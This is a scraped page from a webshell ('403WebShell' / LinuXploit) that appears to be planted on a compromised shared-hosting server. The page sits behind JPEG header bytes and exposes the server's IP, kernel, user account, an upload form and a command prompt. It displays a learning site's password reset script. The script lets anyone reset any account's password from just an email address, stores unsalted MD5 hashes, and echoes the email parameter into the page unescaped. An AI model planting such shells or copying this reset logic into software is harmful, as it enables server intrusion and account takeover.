����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 3.141.25.125
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/learn.skilltainment.org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/learn.skilltainment.org/reset.php
<?php
session_start();
if (isset($_GET['email'])) {
    $email = $_GET['email'];
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <title>SKILLTAINMENT - Reset Password</title>
    <meta content="width=device-width, initial-scale=1.0" name="viewport">
    <meta content="" name="keywords">
    <meta content="" name="description">

    <!-- Favicon -->
    <link href="img/favicon.html" rel="icon">

    <!-- Google Web Fonts -->
    <link rel="preconnect" href="https://fonts.googleapis.com/">
    <link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;600&amp;family=Roboto:wght@500;700&amp;display=swap" rel="stylesheet">

    <!-- Icon Font Stylesheet -->
    <link href="../../cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet">
    <link href="../../cdn.jsdelivr.net/npm/bootstrap-icons%401.4.1/font/bootstrap-icons.css" rel="stylesheet">

    <!-- Libraries Stylesheet -->
    <link href="lib/owlcarousel/assets/owl.carousel.min.css" rel="stylesheet">
    <link href="lib/tempusdominus/css/tempusdominus-bootstrap-4.min.css" rel="stylesheet" />

    <!-- Sweet Alert -->
    <script src="js/sweetalert.min.js"></script>

    <!-- Customized Bootstrap Stylesheet -->
    <link href="css/bootstrap.min.css" rel="stylesheet">

    <!-- aos animations -->
    <link rel="stylesheet" href="css/aos.css">

    <!-- Template Stylesheet -->
    <link href="css/style.css" rel="stylesheet">

    <!-- Icon -->
    <link rel="icon" type="image/png" href="./img/logo.png" sizes="32x32">

    <!--og codes-->
    <meta property="og:url" content="<?php echo $_SERVER['PHP_SELF']; ?>" />
    <meta property="og:type" content="website" />
    <meta property="og:title" content="<?php echo "SKILLTAINMENT"; ?>" />
    <meta property="og:image" content="https://learn.skilltainment.org/img/og.jpg" />
    <meta property="og:description" content="Reset Password" />
    <meta property="fb:app_id" content="197362031139140" />
</head>

<body>
    <div class="container-fluid position-relative d-flex p-0">
        <?php
        include 'php/connect.php';

        if (isset($_POST['submit'])) {
            $email = mysqli_real_escape_string($conn, htmlentities($_POST['email']));
            $pwd = mysqli_real_escape_string($conn, htmlentities(md5($_POST['pwd'])));
            $pwd_co = mysqli_real_escape_string($conn, htmlentities(md5($_POST['pwd_co'])));

            if (!empty($email)) {
                if ($pwd == $pwd_co) {
                    if (strlen($_POST['pwd']) >= 5) {
                        $query2 = "UPDATE `users` SET `password`='$pwd' WHERE `email`='$email'";
                        if ($run2 = mysqli_query($conn, $query2)) {
                        ?>
                            <script type="text/javascript">
                                swal("SUCCESS", "Password reset was successful", "success");
                            </script>
                        <?php
                        } else {
                            die(mysqli_error($conn));
                        }
                    } else {
                        ?>
                        <script type="text/javascript">
                            swal("WARNING", "Password is too short", "warning");
                        </script>
                    <?php
                    }
                } else {
                    ?>
                    <script type="text/javascript">
                        swal("WARNING", "Passwords do not match", "warning");
                    </script>
                <?php
                }
            } else {
                ?>
                <script type="text/javascript">
                    swal("ERROR", "Email is empty", "error");
                </script>
        <?php
            }
        }
        ?>
        <!-- Sign In Start -->
        <div class="container-fluid">
            <div class="row h-100 align-items-center justify-content-center" style="min-height: 100vh;">
                <div class="col-12 col-sm-8 col-md-6 col-lg-5 col-xl-4">
                    <div class="bg-secondary rounded p-4 p-sm-5 my-4 mx-3" data-aos="zoom-in" data-aos-duration="500">
                        <div class="d-flex align-items-center justify-content-between mb-3" data-aos="flip-up" data-aos-duration="500" data-aos-delay="200">
                            <a href="signin">
                                <img src="./img/logo.png" alt="LOGO" class="logo">
                            </a>
                            <h3 class="h4">Reset</h3>
                        </div>
                        <form action="reset?email=<?php echo $email; ?>" method="POST">
                            <div class="form-floating mb-4" data-aos="flip-left" data-aos-duration="500" data-aos-delay="300">
                                <input type="pwd" name="pwd" class="form-control" id="floatingPassword" placeholder="Password" required>
                                <label for="floatingPassword">New Password</label>
                            </div>
                            <div class="form-floating mb-4" data-aos="flip-left" data-aos-duration="500" data-aos-delay="400">
                                <input type="confirm" name="pwd_co" class="form-control" id="floatingPassword" placeholder="Confirm Password" required>
                                <label for="floatingPassword">Confirm Password</label>
                            </div>
                            <input type="hidden" name="email" value="<?php echo isset($_GET['email']) ? $email : ''; ?>">
                            <button type="submit" name="submit" class="btn btn-primary py-3 w-100 mb-4" data-aos="flip-right" data-aos-duration="500" data-aos-delay="300">Reset</button>
                            <p class="text-center mb-0"><a href="signin">Sign In</a></p>
                        </form>
                    </div>
                </div>
            </div>
        </div>
        <!-- Sign In End -->
    </div>

    <!-- JavaScript Libraries -->
    <script src="lib/chart/chart.min.js"></script>
    <script src="lib/easing/easing.min.js"></script>
    <script src="lib/waypoints/waypoints.min.js"></script>
    <script src="lib/owlcarousel/owl.carousel.min.js"></script>
    <script src="lib/tempusdominus/js/moment.min.js"></script>
    <script src="lib/tempusdominus/js/moment-timezone.min.js"></script>
    <script src="lib/tempusdominus/js/tempusdominus-bootstrap-4.min.js"></script>
    <script src="js/aos.js"></script>
    <script>
        AOS.init({});
    </script>
    <!-- Template Javascript -->
    <script src="js/main.js"></script>
</body>


</html>

Youez - 2016 - github.com/yon3zu
LinuXploit